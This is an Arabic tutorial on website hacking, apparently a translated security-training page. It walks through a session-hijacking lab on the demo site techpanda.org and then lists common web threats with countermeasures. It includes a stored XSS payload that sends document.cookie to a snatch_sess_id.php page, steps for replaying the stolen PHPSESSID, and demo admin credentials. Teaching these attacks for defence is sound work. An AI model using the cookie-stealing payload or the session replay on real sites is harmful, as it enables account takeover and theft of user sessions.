كيفية اختراق موقع إلكتروني؟ تقنيات اختراق المواقع
⚡ ملخص ذكي
يستغل اختراق المواقع الإلكترونية نقاط الضعف في تطبيقات الويب - مثل رداءة كتابة التعليمات البرمجية، وعدم تنظيف المدخلات، وضعف إدارة الجلسات - للوصول غير المصرح به. توضح هذه الصفحة أساليب الهجوم الشائعة، والأهم من ذلك، التدابير المضادة التي تحافظ على أمان الموقع الإلكتروني.

أصبح بإمكان المزيد من الأشخاص الوصول إلى الإنترنت أكثر من أي وقت مضى. وقد دفع هذا العديد من المؤسسات إلى تطوير تطبيقات قائمة على الويب يمكن للمستخدمين استخدامها عبر الإنترنت للتفاعل مع المؤسسة. يمكن استغلال التعليمات البرمجية المكتوبة بشكل سيئ لتطبيقات الويب للوصول غير المصرح به إلى البيانات الحساسة وخوادم الويب.
ستتعلم أساليب اختراق المواقع الإلكترونية الشائعة والتدابير المضادة التي تحمي من هذه الهجمات.
كيفية اختراق موقع على الانترنت
في هذا السيناريو العملي لاختراق موقع الويب، سنقوم باختطاف جلسة المستخدم لتطبيق الويب الموجود في www.techpanda.orgسنستخدم البرمجة النصية عبر المواقع لقراءة معرف جلسة ملف تعريف الارتباط، ثم نستخدمه لانتحال شخصية جلسة مستخدم شرعية.
يفترض هذا الهجوم أن المهاجم لديه صلاحية الوصول إلى تطبيق الويب ويرغب في اختراق جلسات المستخدمين الآخرين الذين يستخدمون التطبيق نفسه. قد يكون الهدف من هذا الهجوم هو الحصول على صلاحيات المسؤول في تطبيق الويب، بافتراض أن حساب المهاجم محدود الصلاحيات.
الخطوة 1) افتح URL http://www.techpanda.org/.
لأغراض التدريب، يُنصح بشدة باستخدام تقنية حقن SQL للوصول إلى النظام. راجع هذه المقالة حول حقن SQL لمزيد من المعلومات حول كيفية القيام بذلك.
الخطوة الثانية: أدخل بيانات تسجيل الدخول.
البريد الإلكتروني لتسجيل الدخول هو admin@google.com، وكلمة المرور هي Password2010.
الخطوة 3) تحقق من لوحة التحكم.
إذا قمت بتسجيل الدخول بنجاح، فستظهر لك لوحة التحكم التالية.
الخطوة الرابعة) أدخل محتوى جديد.
انقر على "إضافة جهة اتصال جديدة" وأدخل الاسم الأول التالي:
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
الخطوة 5) إضافة Javaالنصي.
يستخدم الكود أعلاه Javaنص برمجي. يضيف رابطًا تشعبيًا مع حدث النقر. عندما ينقر المستخدم غير المتوقع على الرابط، يسترجع الحدث معرف جلسة ملفات تعريف الارتباط PHP ويرسلها إلى صفحة snatch_sess_id.php مع معرّف الجلسة في URL.
الخطوة السادسة: إضافة التفاصيل.
أدخل التفاصيل المتبقية كما هو موضح أدناه وانقر على حفظ التغييرات.
الخطوة 7) تحقق من لوحة التحكم.
ستظهر لوحة التحكم الخاصة بك الآن كما في الشاشة التالية.
الخطوة 8) التحقق من معرف الجلسة.
بما أن البرنامج النصي للهجمات عبر المواقع مخزن في قاعدة البيانات، فإنه يُحمّل في كل مرة يسجل فيها المستخدمون الذين لديهم صلاحيات الوصول دخولهم. عندما يسجل المسؤول دخوله وينقر على الرابط التشعبي الذي يقول "Dark"، تظهر له نافذة تحتوي على معرّف الجلسة. URL.
ملاحظة: يمكن للبرنامج النصي إرسال القيمة إلى خادم بعيد حيث يتم تخزين PHPSESSID، ثم إعادة توجيه المستخدم كما لو لم يحدث شيء.
ملاحظة: قد تختلف القيمة التي تحصل عليها عن القيمة المعروضة هنا، لكن المفهوم هو نفسه.
انتحال الجلسة باستخدام Firefox والوظيفة الإضافية للتلاعب بالبيانات
ملاحظة: لم يعد الملحق الكلاسيكي لبيانات التلاعب الموضح أدناه يُثبّت على الإصدارات الحالية Firefox، لكن المفهوم الذي يوضحه - اعتراض وتعديل طلب HTTP لإعادة تشغيل جلسة تم التقاطها - لم يتغير.
يوضح المخطط الانسيابي أدناه الخطوات التي يجب عليك اتخاذها لإكمال هذا التمرين.
- سوف تحتاج إلى Firefox متصفح الويب لهذا القسم وملحق بيانات التلاعب.
- ساعات العمل Firefox قم بتثبيت الإضافة كما هو موضح في الرسوم البيانية أدناه.
- ابحث عن بيانات العبث، ثم انقر على تثبيت كما هو موضح أعلاه.
- انقر فوق قبول وتثبيت ...
- انقر على "إعادة التشغيل الآن" عند اكتمال التثبيت.
- تمكين شريط القائمة في Firefox إذا لم يتم عرضه.
- انقر على قائمة الأدوات، ثم حدد بيانات العبث كما هو موضح أدناه.
- ستظهر لك النافذة التالية. ملاحظة: إذا لم تكن النافذة فارغة، فاضغط على زر المسح.
- انقر على قائمة بدء العبث.
- العودة إلى Firefox في متصفح الويب، اكتب http://www.techpanda.org/dashboard.php، ثم اضغط على مفتاح الإدخال لتحميل الصفحة.
- ستظهر لك النافذة المنبثقة التالية من بيانات التلاعب.
- تحتوي النافذة المنبثقة على ثلاثة (3) خيارات. يتيح لك خيار "التلاعب" تعديل معلومات رأس HTTP قبل إرسالها إلى الخادم.
- انقر عليه.
- سوف تحصل على النافذة التالية.
- انسخ مُعرّف جلسة PHP الذي نسخته من الهجوم URL ثم ألصقها بعد علامة المساواة. يجب أن تبدو القيمة الآن كما يلي.
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- انقر على زر موافق.
- ستظهر لك نافذة منبثقة خاصة ببيانات العبث مرة أخرى.
- قم بإلغاء تحديد مربع الاختيار الذي يسألك هل تريد الاستمرار في العبث؟
- انقر على زر الإرسال عند الانتهاء.
- يجب أن تتمكن من رؤية لوحة التحكم كما هو موضح أدناه.
ملاحظة: لم نقم بتسجيل الدخول؛ لقد انتحلنا شخصية جلسة تسجيل دخول باستخدام قيمة PHPSESSID التي استرجعناها باستخدام البرمجة النصية عبر المواقع.
ما هو تطبيق الويب؟ ما هي تهديدات الويب؟
تطبيق الويب (أو الموقع الإلكتروني) هو تطبيق قائم على نموذج العميل والخادم. يوفر الخادم إمكانية الوصول إلى قاعدة البيانات ومنطق العمل، ويتم استضافته على خادم ويب. يعمل تطبيق العميل على متصفح الويب الخاص بالعميل. تُكتب تطبيقات الويب عادةً بلغات برمجة مثل... Java، سي شارب، في بي نت، PHPولغة ترميز ColdFusion، وما إلى ذلك. تشمل محركات قواعد البيانات المستخدمة في تطبيقات الويب ما يلي: MySQL، مايكروسوفت إس كيو إل سيرفر، PostgreSQL, SQLite، الخ.
أفضل تقنيات اختراق المواقع
معظم تطبيقات الويب مستضافة على خوادم عامة الخوادم يمكن الوصول إليها عبر الإنترنت، مما يجعلها عرضة للهجمات نظرًا لسهولة الوصول إليها. فيما يلي بعض التهديدات الشائعة لتطبيقات الويب.
- حقن SQL - قد يكون هدف هذا التهديد تجاوز خوارزميات تسجيل الدخول، وتخريب البيانات، وما إلى ذلك.
- الحرمان من الخدمة الهجمات – قد يكون الهدف من هذا التهديد هو منع المستخدمين الشرعيين من الوصول إلى المورد.
- البرمجة النصية للمواقع المشتركة (XSS) – قد يكون الهدف من هذا التهديد هو حقن التعليمات البرمجية التي يمكن تنفيذها على متصفح العميل.
- ملفات تعريف الارتباط/تسمم الجلسة – الهدف من هذا التهديد هو تعديل ملفات تعريف الارتباط/بيانات الجلسة بواسطة مهاجم للحصول على وصول غير مصرح به.
- العبث بالشكل – الهدف من هذا التهديد هو تعديل بيانات النموذج مثل الأسعار في تطبيقات التجارة الإلكترونية حتى يتمكن المهاجم من الحصول على العناصر بأسعار مخفضة.
- Code عن طريق الحقن – الهدف من هذا التهديد هو إدخال تعليمات برمجية مثل PHP، Pythonوما إلى ذلك والتي يمكن تنفيذها على الخادم. يمكن للكود تثبيت أبواب خلفية، والكشف عن معلومات حساسة، وما إلى ذلك.
- تشويه – الهدف من هذا التهديد هو تعديل الصفحة المعروضة على موقع الويب وإعادة توجيه جميع طلبات الصفحة إلى صفحة واحدة تحتوي على رسالة المهاجم.
كيف تحمي موقعك من الاختراقات؟
يمكن للمؤسسة اعتماد السياسة التالية لحماية نفسها من هجمات خادم الويب.
- حقن SQL - يمكن أن يساعد تنظيف بيانات المستخدم والتحقق من صحتها قبل إرسالها إلى قاعدة البيانات للمعالجة في تقليل فرص التعرض لهجمات حقن SQL. محركات قواعد البيانات مثل MS SQL Server، MySQLتدعم هذه التقنيات، وغيرها، المعاملات والعبارات المُجهزة. وهي أكثر أمانًا بكثير من عبارات SQL التقليدية.
- هجمات الحرمان من الخدمة يمكن استخدام جدران الحماية لحجب حركة البيانات من عناوين IP المشبوهة في حال كان الهجوم مجرد هجوم حجب خدمة بسيط. كما أن التكوين السليم للشبكات ونظام كشف التسلل يُسهمان في تقليل احتمالية نجاح هجوم حجب الخدمة.
- البرمجة عبر الموقع – التحقق من صحة وتطهير العناوين والمعلمات التي تم تمريرها عبر URLيمكن أن تساعد معلمات النموذج والقيم المخفية في تقليل هجمات XSS.
- ملفات تعريف الارتباط/تسمم الجلسة – يمكن منع ذلك عن طريق تشفير محتويات ملفات تعريف الارتباط، وإيقاف تشغيل ملفات تعريف الارتباط بعد فترة زمنية معينة، وربط ملفات تعريف الارتباط بعنوان IP الخاص بالعميل الذي تم استخدامه لإنشائها.
- العبث بالشكل – يمكن منع ذلك عن طريق التحقق من صحة مدخلات المستخدم والتأكد من صحتها قبل معالجتها.
- Code عن طريق الحقن يمكن تجنب ذلك من خلال التعامل مع جميع المعاملات كبيانات بدلاً من كونها شفرة قابلة للتنفيذ. ويمكن استخدام عمليات التنظيف والتحقق من الصحة لتطبيق ذلك.
- تشويه - جيد أمن تطبيق الويب ينبغي أن تضمن السياسة سدّ الثغرات الأمنية الشائعة التي تُستخدم للوصول إلى خادم الويب. ويمكن تحقيق ذلك من خلال تهيئة نظام التشغيل وبرنامج خادم الويب بشكل صحيح، بالإضافة إلى اتباع أفضل الممارسات الأمنية عند التطوير.ping تطبيقات الويب.
افحص هذا: 9 أفضل URL أدوات فحص للتأكد من سلامة الروابط من البرامج الضارة


















